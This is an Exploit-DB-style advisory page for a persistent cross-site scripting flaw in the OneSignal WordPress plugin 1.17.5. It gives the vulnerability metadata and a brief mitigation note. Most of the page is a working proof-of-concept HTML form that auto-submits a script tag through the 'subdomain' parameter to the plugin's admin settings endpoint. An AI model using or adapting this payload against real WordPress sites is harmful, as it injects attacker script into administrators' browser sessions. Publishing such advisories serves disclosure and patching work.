WordPress Plugin OneSignal 1.17.5 - Persistent Cross-Site Scripting

vendor:

OneSignal

by:

LiquidWorm

5.5

CVSS

MEDIUM

Cross-Site Scripting

CWE

Product Name: OneSignal

Affected Version From: 1.17.5

Affected Version To: 1.17.5

Patch Exists: YES

Related CWE:

CPE: a:wordpress:onesignal:1.17.5

Metasploit:

Other Scripts:

Platforms Tested: Linux

2019

WordPress Plugin OneSignal 1.17.5 – Persistent Cross-Site Scripting

The application suffers from an authenticated stored XSS via POST request. The issue is triggered when input passed via the POST parameter 'subdomain' is not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.

Mitigation:

Sanitize user input before returning it to the user to prevent XSS attacks.

Source

Exploit-DB raw data:

# Exploit Title: WordPress Plugin OneSignal 1.17.5 - Persistent Cross-Site Scripting
# Date: 2019-07-18
# Vendor Homepage: https://www.onesignal.com
# Software Link:  https://wordpress.org/plugins/onesignal-free-web-push-notifications/
# Affected version: 1.17.5
# Exploit Author: LiquidWorm
# Tested on: Linux

Summary: OneSignal is a high volume and reliable push notification service
for websites and mobile applications. We support all major native and mobile
platforms by providing dedicated SDKs for each platform, a RESTful server API,
and an online dashboard for marketers to design and send push notifications.

Desc: The application suffers from an authenticated stored XSS via POST request.
The issue is triggered when input passed via the POST parameter 'subdomain' is
not properly sanitized before being returned to the user. This can be exploited
to execute arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: WordPress 5.2.2
           Apache/2.4.39
           PHP/7.1.30


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5530
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5530.php

<html>
  <body>
  <script>history.pushState('', 'SHPA', '/')</script>
    <form action="http://127.0.0.1/wp-admin/admin.php?page=onesignal-push" method="POST">
      <input type="hidden" name="onesignal_config_page_nonce" value="f7fae30a4f" />
      <input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=onesignal-push" />
      <input type="hidden" name="app_id" value="14d99ab2-fc9d-1337-bc16-a8a6df479515" />
      <input type="hidden" name="app_rest_api_key" value="M2IzZDA4MzItOGJmOS00YjRkLWE4YzEtZSLmMjllNjlkYmZl" />
      <input type="hidden" name="subdomain" value=""><script>confirm(251)</script>" />
      <input type="hidden" name="safari_web_id" value="" />
      <input type="hidden" name="showNotificationIconFromPostThumbnail" value="true" />
      <input type="hidden" name="showNotificationImageFromPostThumbnail" value="true" />
      <input type="hidden" name="persist_notifications" value="platform-default" />
      <input type="hidden" name="notification_title" value="hACKME" />
      <input type="hidden" name="notifyButton_enable" value="true" />
      <input type="hidden" name="notifyButton_showAfterSubscribed" value="true" />
      <input type="hidden" name="notifyButton_prenotify" value="true" />
      <input type="hidden" name="notifyButton_showcredit" value="true" />
      <input type="hidden" name="notifyButton_customize_enable" value="true" />
      <input type="hidden" name="notifyButton_size" value="medium" />
      <input type="hidden" name="notifyButton_position" value="bottom-right" />
      <input type="hidden" name="notifyButton_theme" value="default" />
      <input type="hidden" name="notifyButton_offset_bottom" value="" />
      <input type="hidden" name="notifyButton_offset_left" value="" />
      <input type="hidden" name="notifyButton_offset_right" value="" />
      <input type="hidden" name="notifyButton_color_background" value="" />
      <input type="hidden" name="notifyButton_color_foreground" value="" />
      <input type="hidden" name="notifyButton_color_badge_background" value="" />
      <input type="hidden" name="notifyButton_color_badge_foreground" value="" />
      <input type="hidden" name="notifyButton_color_badge_border" value="" />
      <input type="hidden" name="notifyButton_color_pulse" value="" />
      <input type="hidden" name="notifyButton_color_popup_button_background" value="" />
      <input type="hidden" name="notifyButton_color_popup_button_background_hover" value="" />
      <input type="hidden" name="notifyButton_color_popup_button_background_active" value="" />
      <input type="hidden" name="notifyButton_color_popup_button_color" value="" />
      <input type="hidden" name="notifyButton_message_prenotify" value="" />
      <input type="hidden" name="notifyButton_tip_state_unsubscribed" value="" />
      <input type="hidden" name="notifyButton_tip_state_subscribed" value="" />
      <input type="hidden" name="notifyButton_tip_state_blocked" value="" />
      <input type="hidden" name="notifyButton_message_action_subscribed" value="" />
      <input type="hidden" name="notifyButton_message_action_resubscribed" value="" />
      <input type="hidden" name="notifyButton_message_action_unsubscribed" value="" />
      <input type="hidden" name="notifyButton_dialog_main_title" value="" />
      <input type="hidden" name="notifyButton_dialog_main_button_subscribe" value="" />
      <input type="hidden" name="notifyButton_dialog_main_button_unsubscribe" value="" />
      <input type="hidden" name="notifyButton_dialog_blocked_title" value="" />
      <input type="hidden" name="notifyButton_dialog_blocked_message" value="" />
      <input type="hidden" name="prompt_customize_enable" value="true" />
      <input type="hidden" name="prompt_action_message" value="" />
      <input type="hidden" name="prompt_auto_accept_title" value="" />
      <input type="hidden" name="prompt_site_name" value="" />
      <input type="hidden" name="prompt_example_notification_title_desktop" value="" />
      <input type="hidden" name="prompt_example_notification_message_desktop" value="" />
      <input type="hidden" name="prompt_example_notification_title_mobile" value="" />
      <input type="hidden" name="prompt_example_notification_message_mobile" value="" />
      <input type="hidden" name="prompt_example_notification_caption" value="" />
      <input type="hidden" name="prompt_accept_button_text" value="" />
      <input type="hidden" name="prompt_cancel_button_text" value="" />
      <input type="hidden" name="send_welcome_notification" value="true" />
      <input type="hidden" name="welcome_notification_title" value="" />
      <input type="hidden" name="welcome_notification_message" value="" />
      <input type="hidden" name="welcome_notification_url" value="" />
      <input type="hidden" name="notification_on_post" value="true" />
      <input type="hidden" name="utm_additional_url_params" value="" />
      <input type="hidden" name="allowed_custom_post_types" value="" />
      <input type="hidden" name="custom_manifest_url" value="" />
      <input type="hidden" name="show_notification_send_status_message" value="true" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>